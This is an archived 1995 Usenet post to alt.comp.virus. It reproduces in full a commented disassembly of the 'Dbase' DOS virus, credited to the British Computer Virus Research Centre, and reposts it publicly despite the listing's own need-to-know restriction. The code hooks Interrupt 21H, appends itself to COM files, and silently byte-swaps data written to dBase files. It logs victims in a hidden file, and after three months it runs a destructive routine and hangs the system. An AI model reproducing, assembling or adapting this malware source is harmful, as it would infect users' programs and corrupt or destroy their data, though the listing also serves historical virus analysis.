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Text File | 1995-10-29 | 22.4 KB | 1,050 lines

Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm From: danishm@iia.org () Newsgroups: alt.comp.virus Subject: DBase Date: 5 Feb 1995 21:56:43 GMT Organization: International Internet Association. Lines: 1031 Message-ID: <3h3hir$sb@ankh.iia.org> NNTP-Posting-Host: iia.org X-Newsreader: TIN [version 1.2 PL2] Here is the DBase virus: page 65,132 title The 'Dbase' Virus ; ╔══════════════════════════════════════════════════════════════════════════╗ ; ║ British Computer Virus Research Centre ║ ; ║ 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England ║ ; ║ Telephone: Domestic 0273-26105, International +44-273-26105 ║ ; ║ ║ ; ║ The 'Dbase' Virus ║ ; ║ Disassembled by Joe Hirst, October 1989 ║ ; ║ ║ ; ║ Copyright (c) Joe Hirst 1989. ║ ; ║ ║ ; ║ This listing is only to be made available to virus researchers ║ ; ║ or software writers on a need-to-know basis. ║ ; ╚══════════════════════════════════════════════════════════════════════════╝ MCB SEGMENT AT 0 IDENT DB ? OWNER DW ? MEMSIZE DW ? MCB ENDS CODE SEGMENT BYTE PUBLIC 'CODE' ASSUME CS:CODE,DS:NOTHING ; Interrupt 21H routine BP0000: PUSHF CMP AX,0FB0AH ; Infection test function? JNE BP0010 ; Branch if not XCHG AH,AL ; Swap bytes POPF IRET ; Branch to open file function BP000A: JMP BP06DB ; Branch to new file functions BP000D: JMP BP0391 BP0010: CMP DI,0FB0AH ; Allow free passage? JE BP0044 ; Branch if yes CMP AX,4B00H ; Load and execute function? JNE BP001E ; Branch if not JMP BP0490 BP001E: CMP AH,6CH ; Extended open/create function? JE BP000D ; Branch if yes CMP AH,5BH ; Create new file function? JE BP000D ; Branch if yes CMP AH,3CH ; Create handle function? JE BP000D ; Branch if yes CMP AH,3DH ; Open handle function? JE BP000A ; Branch if yes CMP AH,3FH ; Read handle function? JE BP004A ; Branch if yes CMP AH,40H ; Write handle function? JE BP004D ; Branch if yes CMP AH,3EH ; Close handle function? JNE BP0044 ; Branch if not JMP BP0340 ; Pass on to Int 21H BP0044: POPF DB 0EAH ; Far jump DW0046 DW 0 ; Int 21H offset DW0048 DW 0 ; Int 21H segment ; Branch to read file function BP004A: JMP BP00C8 ; Branch to write file function BP004D: JMP BP015F JMP BP04A7 DB0053 DB 'c:\bugs.dat', 0 ; File pathname DB 4EH DUP (0), 0FFH ; Read buffer DW00AE DW 0 DB00B0 DB 14H DUP (0) ; Table of file handles DW00C4 DW 0, 0 ; Read file function BP00C8: PUSH DI CALL BP00CC ; \ Get current address BP00CC: POP DI ; / SUB DI,1CH ; Address table of file handles BP00D0: CMP BYTE PTR CS:[DI],0 ; End of table? JE BP00DE ; Branch if yes CMP CS:[DI],BL ; Is this the file handle JE BP00E2 ; Branch if yes INC DI ; Next entry JMP BP00D0 BP00DE: POP DI JMP BP0044 ; Pass on to Int 21H BP00E2: POP DI POPF PUSH CX PUSH AX PUSH DX MOV AX,4201H ; Move file pointer (current) function XOR CX,CX ; \ No offset XOR DX,DX ; / INT 21H ; DOS service TEST AX,1 ; Is location odd number byte? JZ BP012A ; Branch if not MOV AX,4201H ; Move file pointer (current) function MOV CX,-1 ; \ Back one byte MOV DX,CX ; / INT 21H ; DOS service MOV AH,3FH ; Read handle function MOV CX,1 ; Length to read POP DX CALL BP05C3 ; DOS service POP AX POP CX PUSH SI PUSH BP MOV SI,DX MOV BP,[SI] CALL BP05C3 ; DOS service PUSHF PUSH AX MOV AX,BP MOV [SI],AL POP AX POP BP POP SI PUSH CX PUSH DX MOV CX,AX DEC CX INC DX CALL BP022D ; Reverse bytes in each word POP DX POP CX JMP BP0138 BP012A: POP DX POP AX POP CX CALL BP05C3 ; DOS service PUSHF PUSH CX MOV CX,AX CALL BP022D ; Reverse bytes in each word POP CX BP0138: PUSH CX PUSH AX PUSH DX MOV AX,4201H ; Move file pointer (current) function XOR CX,CX ; \ No offset XOR DX,DX ; / INT 21H ; DOS service TEST AX,1 ; Is location odd number byte? JZ BP0158 ; Branch if not POP DX POP AX PUSH AX PUSH DX ADD DX,AX DEC DX MOV CX,1 ; Length to read MOV AH,3FH ; Read handle function CALL BP05C3 ; DOS service BP0158: POP DX POP AX POP CX POPF RETF 2 ; Write file function BP015F: PUSH DI CALL BP0163 ; \ Get current address BP0163: POP DI ; / SUB DI,OFFSET BP0163-DB00B0 ; Address table of file handles BP0168: CMP BYTE PTR CS:[DI],0 ; End of table? JE BP0176 ; Branch if yes CMP CS:[DI],BL ; Is this the file handle JE BP017A ; Branch if yes INC DI ; Next entry JMP BP0168 BP0176: POP DI JMP BP0044 ; Pass on to Int 21H BP017A: CALL BP017D ; \ Get current address BP017D: POP DI ; / SUB DI,OFFSET BP017D-DW00C4 MOV WORD PTR CS:[DI],0 MOV WORD PTR CS:[DI+2],0 PUSH AX PUSH BX PUSH CX PUSH DX MOV AX,4201H ; Move file pointer (current) function XOR CX,CX ; \ No offset XOR DX,DX ; / MOV DI,0FB0AH ; Allow free passage to DOS INT 21H ; DOS service TEST AX,1 ; Is location odd number byte? JNZ BP01C0 ; Branch if yes POP DX POP CX TEST AX,1 ; Is location odd number byte? JNZ BP01B2 ; Branch if yes (???) MOV AX,0 CALL BP0200 JMP BP01E9 BP01B2: MOV AX,1 CALL BP0200 JB BP01E9 CALL BP02B9 JMP BP01E9 BP01C0: POP DX POP CX TEST CX,1 JZ BP01D6 CALL BP0262 JB BP01E9 MOV AX,0100H CALL BP0200 JMP BP01E9 BP01D6: CALL BP0262 JB BP01E9 MOV AX,0101H CALL BP0200 JB BP01E9 CALL BP02B9 JMP BP01E9 BP01E9: POP BX POP AX POP DI CALL BP01EF ; \ Get current address BP01EF: POP SI ; / SUB SI,OFFSET BP01EF-DW00C4 PUSH CS:[SI+2] POPF MOV AX,CS:[SI] POP SI RETF 2 BP0200: CMP CX,1 JNE BP0209 CALL BP0242 RET BP0209: CALL BP0215 CALL BP0242 PUSHF CALL BP0215 POPF RET BP0215: PUSH CX PUSH DX CALL BP0220 CALL BP022D ; Reverse bytes in each word POP DX POP CX RET BP0220: CMP AH,1 JNE BP0227 INC DX DEC CX BP0227: CMP AL,1 JNE BP022C DEC CX BP022C: RET ; Reverse bytes in each word BP022D: PUSH SI PUSH CX PUSH AX MOV SI,DX SHR CX,1 ; Divide count by two BP0234: MOV AX,[SI] ; Get next word XCHG AH,AL ; Reverse bytes in word MOV [SI],AX ; Replace word INC SI ; \ Next word INC SI ; / LOOP BP0234 ; Repeat for count POP AX POP CX POP SI RET BP0242: PUSH AX PUSH CX PUSH DX PUSH DI CALL BP0220 MOV AH,40H ; Write handle function INT 21H ; DOS service PUSHF CALL BP0251 ; \ Get current address BP0251: POP DI ; / SUB DI,OFFSET BP0251-DW00C4 POP CS:[DI+2] ADD CS:[DI],AX POP DI POP DX POP CX POP AX RET BP0262: PUSH AX PUSH CX PUSH DX PUSH SI PUSH BP MOV DX,-1 ; \ Back one byte MOV CX,DX ; / MOV AX,4201H ; Move file pointer (current) function INT 21H ; DOS service MOV AH,3FH ; Read handle function MOV CX,1 ; Length to read MOV SI,DX MOV BP,[SI] INT 21H ; DOS service JB BP02A3 ; Branch if error MOV DX,-1 ; \ Back one byte MOV CX,DX ; / MOV AX,4201H ; Move file pointer (current) function INT 21H ; DOS service XCHG BP,[SI] MOV CX,1 ; Length to write MOV AH,40H ; Write handle function INT 21H ; DOS service JB BP02A3 ; Branch if error XCHG BP,[SI] MOV CX,1 ; Length to write MOV AH,40H ; Write handle function INT 21H ; DOS service JB BP02A3 ; Branch if error XCHG BP,[SI] MOV AX,1 BP02A3: PUSHF CALL BP02A7 ; \ Get current address BP02A7: POP SI ; / SUB SI,OFFSET BP02A7-DW00C4 POP CS:[SI+2] MOV CS:[SI],AX POP BP POP SI POP DX POP CX POP AX RET BP02B9: PUSH AX PUSH CX PUSH DX PUSH SI PUSH BP MOV SI,DX ADD SI,CX DEC SI MOV DX,1 ; \ Forward one byte XOR CX,CX ; / MOV AX,4201H ; Move file pointer (current) function INT 21H ; DOS service MOV AH,3FH ; Read handle function MOV CX,1 ; Read one byte MOV BP,[SI] INT 21H ; DOS service JB BP02E0 ; Branch if error CMP AX,1 ; One byte read? JNE BP02E0 ; Branch if not JMP BP02F6 BP02E0: MOV CX,-1 ; \ Back one byte MOV DX,CX ; / MOV AX,4201H ; Move file pointer (current) function INT 21H ; DOS service MOV DX,SI MOV CX,1 ; Length to write MOV AH,40H ; Write handle function INT 21H ; DOS service JMP BP032A BP02F6: MOV DX,-2 ; \ Back two byte MOV CX,-1 ; / MOV AX,4201H ; Move file pointer (current) function INT 21H ; DOS service XCHG BP,[SI] MOV CX,1 ; Length to write MOV AH,40H ; Write handle function MOV DX,SI INT 21H ; DOS service JB BP032A ; Branch if error XCHG BP,[SI] MOV CX,1 ; Length to write MOV AH,40H ; Write handle function MOV DX,SI INT 21H ; DOS service JB BP032A ; Branch if error XCHG BP,[SI] MOV DX,-1 ; \ Back one byte MOV CX,DX ; / MOV AX,4201H ; Move file pointer (current) function INT 21H ; DOS service MOV AX,1 BP032A: PUSHF CALL BP032E ; \ Get current address BP032E: POP SI ; / SUB SI,OFFSET BP032E-DW00C4 POP CS:[SI+2] ADD CS:[SI],AX POP BP POP SI POP DX POP CX POP AX RET BP0340: PUSH BP PUSH CX CALL BP0345 ; \ Get current address BP0345: POP BP ; / SUB BP,OFFSET BP0345-DW00AE MOV CX,CS:[BP+0] CMP CX,0 JE BP037C ADD BP,2 BP0356: CMP CS:[BP+0],BL JE BP0362 INC BP LOOP BP0356 JMP BP037C BP0362: MOV CL,CS:[BP+1] MOV CS:[BP+0],CL INC BP CMP CL,0 JNE BP0362 CALL BP0373 ; \ Get current address BP0373: POP BP ; / SUB BP,OFFSET BP0373-DW00AE DEC WORD PTR CS:[BP+0] BP037C: POP CX POP BP JMP BP0044 ; Pass on to Int 21H BP0381: JMP BP04A7 JMP BP0044 ; Pass on to Int 21H DW0387 DW 0 ; File date DW0389 DW 0 ; File time DW038B DW 0 ; File attributes DW038D DW 0 ; Pathname segment DW038F DW 0 ; Pathname offset ; New file functions BP0391: PUSH SI PUSH BP CMP AH,6CH ; Extended open/create function? JE BP039A ; Branch if yes MOV SI,DX ; Copy filepath pointer BP039A: MOV BP,SI ; Copy filepath pointer CALL BP0453 ; Convert pathname to uppercase CALL BP0468 ; Test for Dbase file JNE BP0381 ; Branch if not PUSH DX MOV DX,SI ; Copy pathname (for function 6CH) CALL BP0665 ; Search BUG.DAT file for pathname POP DX JB BP0415 ; Branch if found PUSH ES PUSH DS PUSH DX PUSH SI PUSH DI PUSH CX PUSH BX PUSH AX CALL BP03B8 ; \ Get current address BP03B8: POP DX ; / SUB DX,OFFSET BP03B8-DB0053 ; Address 'BUGS.DAT' pathname PUSH BP MOV BP,DS ; \ Set ES to DS MOV ES,BP ; / POP BP PUSH CS ; \ Set DS to CS POP DS ; / MOV AX,3D02H ; Open handle (R/W) function MOV DI,0FB0AH ; Allow free passage to DOS INT 21H ; DOS service JNB BP03D8 ; Branch if no error MOV AH,3CH ; Create handle function MOV CX,2 ; Hidden file INT 21H ; DOS service JB BP0448 ; Branch if error BP03D8: MOV BX,AX ; Move handle CALL BP06F7 ; Is file out of time? XOR DX,DX ; \ No offset XOR CX,CX ; / MOV AX,4202H ; Move file pointer (EOF) function INT 21H ; DOS service MOV DX,BP MOV DI,DX MOV BP,ES ; \ Set DS to ES MOV DS,BP ; / MOV CX,004EH ; Length to write MOV AH,40H ; Write handle function MOV DI,0FB0AH ; Allow free passage to DOS INT 21H ; DOS service CALL BP03FB ; \ Get current address BP03FB: POP SI ; / SUB SI,74H ; Address file date MOV DX,CS:[SI] ; Get file date MOV AX,5701H ; Set file date & time function INT 21H ; DOS service MOV AH,3EH ; Close handle function INT 21H ; DOS service JB BP0448 ; Branch if error POP AX POP BX POP CX POP DI POP SI POP DX POP DS POP ES BP0415: POP BP POP SI POPF CALL BP05C3 ; DOS service JB BP0420 ; Branch if error CALL BP0423 BP0420: RETF 2 BP0423: PUSHF PUSH SI CALL BP0428 ; \ Get current address BP0428: POP SI ; / SUB SI,OFFSET BP0428-DW00AE CMP WORD PTR CS:[SI],14H JE BP0447 INC WORD PTR CS:[SI] PUSH BX MOV BX,SI ADD BX,CS:[SI] ADD BX,CS:[SI] MOV SI,BX POP BX MOV CS:[SI],AL POP SI POPF BP0447: RET BP0448: POP AX POP BX POP CX POP DI POP SI POP DX POP DS POP ES JMP BP04A7 ; Convert pathname to uppercase BP0453: PUSH SI MOV SI,DX ; Copy pathname pointer BP0456: CMP BYTE PTR [SI],0 ; End of pathname? JE BP0466 ; Branch if yes CMP BYTE PTR [SI],'a' ; Lowercase character? JB BP0463 ; Branch if not SUB BYTE PTR [SI],' ' ; Convert to uppercase BP0463: INC SI ; Next character JMP BP0456 ; Process next character BP0466: POP SI RET ; Test for Dbase file BP0468: CALL BP0453 ; Convert pathname to uppercase PUSH SI BP046C: CMP BYTE PTR [SI],0 ; End of pathname? JE BP0480 ; Branch if yes CMP BYTE PTR [SI],'.' ; Extension character? JE BP0479 ; Branch if yes INC SI ; Next character JMP BP046C ; Process next character BP0479: INC SI ; Next character CMP WORD PTR [SI],'BD' ; Database file (1)? JNE BP0484 ; Branch if not BP0480: CMP BYTE PTR [SI+2],'F' ; Database file (2)? BP0484: POP SI RET DB0486 DB 0CDH, 20H, 90H, 90H ; Start of host read buffer DB048A DB 0, 0 ; Signature read buffer DB048C DB 0E9H, 0, 0 ; Initial jump instruction DB 0 ; Load and execute function BP0490: PUSH BP PUSH SI MOV SI,DX ; Copy pathname pointer BP0494: CMP BYTE PTR [SI],0 ; End of pathname? JE BP04A7 ; Branch if yes CMP BYTE PTR [SI],'.' ; Extension indicator? JE BP04AC ; Branch if yes INC SI ; Next character JMP BP0494 ; Process next character BP04A1: POP DS POP DX POP DI POP CX POP BX POP AX BP04A7: POP BP POP SI JMP BP0044 ; Pass on to Int 21H BP04AC: INC SI ; Next character CMP WORD PTR [SI],'OC' ; Is it a COM file? (1) JNE BP04A7 ; Branch if not CMP BYTE PTR [SI+2],'M' ; Is it a COM file? (1) JNE BP04A7 ; Branch if not PUSH AX PUSH BX PUSH CX PUSH DI PUSH DX PUSH DS PUSH SI PUSH CX MOV AX,4300H ; Get file attributes function INT 21H ; DOS service CALL BP04C9 ; \ Get current address BP04C9: POP SI ; / SUB SI,OFFSET BP04C9-DW038B ; Address file attributes MOV CS:[SI],CX ; Save file attributes MOV CS:[SI+2],DS ; Save pathname segment MOV CS:[SI+4],DX ; Save pathname offset AND CX,00FEH ; Switch off read only MOV AX,4301H ; Set file attributes function INT 21H ; DOS service POP CX POP SI MOV AX,3D00H ; Open handle (read) function INT 21H ; DOS service JB BP04A1 ; Branch if error MOV BX,AX ; Move handle MOV AX,5700H ; Get file date & time function INT 21H ; DOS service PUSH SI CALL BP04F6 ; \ Get current address BP04F6: POP SI ; / SUB SI,OFFSET BP04F6-DW0387 ; Address file date MOV CS:[SI],DX ; Save file date MOV CS:[SI+2],CX ; Save file time POP SI MOV AH,3FH ; Read handle function MOV CX,4 ; Length to read CALL BP050B ; \ Get current address BP050B: POP SI ; / SUB SI,OFFSET BP050B ; Offset of start of virus MOV DX,SI ; \ Address start of host read buffer ADD DX,OFFSET DB0486 ; / PUSH CS ; \ Set DS to CS POP DS ; / INT 21H ; DOS service JB BP058A ; Branch if error PUSH DX PUSH SI MOV SI,DX ; Address start of host read buffer MOV DX,[SI+1] ; Get branch offset (if its a branch?) INC DX ; \ Address to signature (DB0630) XOR CX,CX ; / MOV AX,4200H ; Move file pointer (start) function INT 21H ; DOS service POP SI POP DX JB BP058A ; Branch if error MOV AH,3FH ; Read handle function MOV CX,2 ; Length to read ADD DX,4 ; Address to signature read buffer INT 21H ; DOS service PUSH SI MOV SI,DX ; \ Copy signature read buffer address MOV DI,SI ; / CMP WORD PTR [SI],0E5E5H ; Test signature POP SI JE BP058A ; Branch if infected MOV AH,3EH ; Close handle function INT 21H ; DOS service POP DS POP DX PUSH DX PUSH DS MOV AX,3D02H ; Open handle (R/W) function INT 21H ; DOS service JNB BP0557 ; Branch if no error JMP BP04A1 BP0557: PUSH CS ; \ Set DS to CS POP DS ; / MOV BX,AX ; Move handle MOV AX,4202H ; Move file pointer (EOF) function XOR CX,CX ; \ No offset XOR DX,DX ; / INT 21H ; DOS service ADD AX,OFFSET START-3 ; Add entry point offset NOP MOV [DI+3],AX ; Store in initial jump instruction XOR DX,DX ; Address start of virus MOV AH,40H ; Write handle function MOV CX,OFFSET ENDADR ; Length of virus NOP INT 21H ; DOS service MOV AX,4200H ; Move file pointer (start) function XOR CX,CX ; \ No offset XOR DX,DX ; / INT 21H ; DOS service MOV DX,DI ; \ Address initial jump instruction ADD DX,2 ; / MOV CX,3 ; Length of jump instruction MOV AH,40H ; Write handle function INT 21H ; DOS service BP058A: PUSH SI CALL BP058E ; \ Get current address BP058E: POP SI ; / SUB SI,OFFSET BP058E-DW0387 ; Address file date MOV DX,CS:[SI] ; Get file date MOV CX,CS:[SI+2] ; Get file time POP SI MOV AX,5701H ; Set file date & time function INT 21H ; DOS service MOV AH,3EH ; Close handle function INT 21H ; DOS service PUSH SI PUSH CX CALL BP05A9 ; \ Get current address BP05A9: POP SI ; / SUB SI,OFFSET BP05A9-DW038B ; Address file attributes MOV CX,CS:[SI] ; Get file attributes MOV DS,CS:[SI+2] ; Get pathname offset MOV DX,CS:[SI+4] ; Get pathname segment MOV AX,4301H ; Set file attributes function INT 21H ; DOS service POP CX POP SI JMP BP04A1 ; Call DOS service BP05C3: PUSHF DB 9AH ; Far call DW05C5 DW 0 ; Int 21H offset DW05C7 DW 0 ; Int 21H segment RET ; Infect system BP05CA: PUSH SI CALL BP05CE ; \ Get current address BP05CE: POP SI ; / SUB SI,OFFSET BP05CE ; Relocate from start of virus PUSH AX PUSH BX PUSH CX PUSH DX PUSH DI PUSH DS PUSH ES MOV AX,3521H ; Get Int 21H function INT 21H ; DOS service MOV CS:[SI+46H],BX ; \ Install vector in jump MOV CS:[SI+48H],ES ; / MOV CS:DW05C5[SI],BX ; \ Install vector in call MOV CS:DW05C7[SI],ES ; / PUSH CS ; \ Get current segment POP AX ; / DEC AX ; \ Address MCB MOV DS,AX ; / ASSUME DS:MCB MOV DX,MEMSIZE ; Get memory block length SUB DX,0074H ; \ Subtract virus length nop DEC DX ; / MOV MEMSIZE,DX ; Replace new length ASSUME DS:NOTHING PUSH CS ; \ Get current segment POP AX ; / ADD DX,AX ; \ Address free space MOV DS,DX ; / MOV DI,0 ; Start of free space MOV CX,OFFSET ENDADR ; Length of virus NOP CLI PUSH SI BP0612: MOV AL,CS:[SI] MOV [DI],AL INC SI INC DI LOOP BP0612 POP SI MOV DS,DX MOV DX,OFFSET BP0000 MOV AX,2521H ; Set Int 21H function INT 21H ; DOS service STI POP ES POP DS POP DI POP DX POP CX POP BX POP AX JMP BP0640 DB0630 DB 0E5H, 0E5H ; Entry point START: PUSH AX MOV AX,0FB0AH ; Infection test function INT 21H ; DOS service CMP AX,0AFBH ; Is system infected? JE BP0640 ; Branch if yes JMP BP05CA BP0640: PUSH SI CALL BP0644 ; \ Get current address BP0644: POP SI ; / SUB SI,OFFSET BP0644-DB0486 ; Address start of host read buffer PUSH BX MOV BX,0100H ; Address start of host MOV AX,CS:[SI] ; \ Restore start of host (1) MOV CS:[BX],AX ; / MOV AX,CS:[SI+2] ; \ ADD BX,2 ; ) Restore start of host (2) MOV CS:[BX],AX ; / POP BX POP SI POP AX MOV AX,0100H ; \ Branch to start of host JMP AX ; / ; Search BUG.DAT file for pathname BP0665: PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH BP PUSH DS PUSH ES CALL BP0671 ; \ Get current address BP0671: POP BP ; / SUB BP,OFFSET BP0671-DB0053 ; Address 'BUGS.DAT' pathname PUSH DS ; \ Set ES to DS POP ES ; / MOV DI,DX ; Copy pathname pointer PUSH CS ; \ Set DS to CS POP DS ; / MOV DX,BP ; Move pathname address MOV AX,3D00H ; Open handle (read) function PUSH DI MOV DI,0FB0AH ; Allow free passage to DOS INT 21H ; DOS service JNB BP0697 ; Branch if no error MOV AH,3CH ; Create handle function MOV CX,2 ; Hidden file INT 21H ; DOS service JNB BP0697 ; Branch if no error BP0692: POP DI CLC JMP BP06D1 BP0697: MOV BX,AX ; Move handle ADD DX,0CH ; Read buffer BP069C: MOV CX,004EH ; Length to read MOV AH,3FH ; Read handle function INT 21H ; DOS service JB BP0692 ; Branch if error CMP AX,0 ; Did we read anything? JNE BP06B0 ; Branch if yes MOV AH,3EH ; Close handle function INT 21H ; DOS service JMP BP0692 BP06B0: POP DI MOV SI,DX PUSH DI BP06B4: MOV AL,ES:[DI] ; Get next character CMP AL,0 ; End of pathname? JE BP06C3 ; Branch if yes CMP AL,[SI] ; Does it match file? JNE BP069C ; Read next section if not INC SI ; Next file character INC DI ; Next pathname character JMP BP06B4 ; Compare next character ; Pathname found on BUG.DAT file BP06C3: POP DI MOV AH,3EH ; Close handle function INT 21H ; DOS service STC JMP BP06D1 ; unreferenced code MOV AH,3EH ; Close handle function INT 21H ; DOS service CLC BP06D1: POP ES POP DS POP BP POP DI POP SI POP DX POP CX POP BX POP AX RET ; Open file function BP06DB: POPF CALL BP05C3 ; DOS service JB BP06F4 ; Branch if error PUSHF PUSH SI MOV SI,DX CALL BP0468 ; Test for Dbase file JNE BP06F2 ; Branch if not CALL BP0665 ; Search BUG.DAT file for pathname JNB BP06F2 ; Branch if not found CALL BP0423 BP06F2: POP SI POPF BP06F4: RETF 2 ; Is file out of time? BP06F7: PUSH AX PUSH CX PUSH DX PUSH SI MOV AX,5700H ; Get file date & time function INT 21H ; DOS service CALL BP0703 ; \ Get current address BP0703: POP SI ; / SUB SI,OFFSET BP0703-DW0387 ; Address file date MOV CS:[SI],DX ; Save file date MOV CL,5 ; \ Move month to bottom of reg SHR DX,CL ; / AND DX,0FH ; Isolate month MOV AH,2AH ; Get date function PUSH DX ; Preserve file month INT 21H ; DOS service POP CX ; Recover file month SUB CL,DH ; Subtract month from file month CMP CL,0 ; Negative result? JGE BP0721 ; Branch if not NEG CL ; Change the sign BP0721: CMP CL,3 ; Three months difference? JL BP0729 ; Branch if not JMP BP072E BP0729: POP SI POP DX POP CX POP AX RET ; File three months old (or next year) BP072E: CLI MOV AX,3 ; Start count BP0732: MOV CX,0100H MOV DX,0 ; \ Address zero MOV DS,DX ; / XOR BX,BX PUSH AX INT 3 ; Breakpoint INT 3 ; Breakpoint POP AX INC AX ; Increment count CMP AL,1AH ; Has it reached 26? JL BP0732 ; Branch if not BP0745: CLI ; \ Loop with interrupts disabled JMP BP0745 ; / ENDADR EQU $ CODE ENDS END ; ───────────────────────────────────────────────────────────────────────── ; ────────────────────> and Remember Don't Forget to Call <──────────────── ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <────────── ; ───────────────────────────────────────────────────────────────────────── -- Eric "Mad Dog" Kilby maddog@ccs.neu.edu The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu Student at the Northeatstern University College of Computer Science "I Can't Believe It's Not Butter"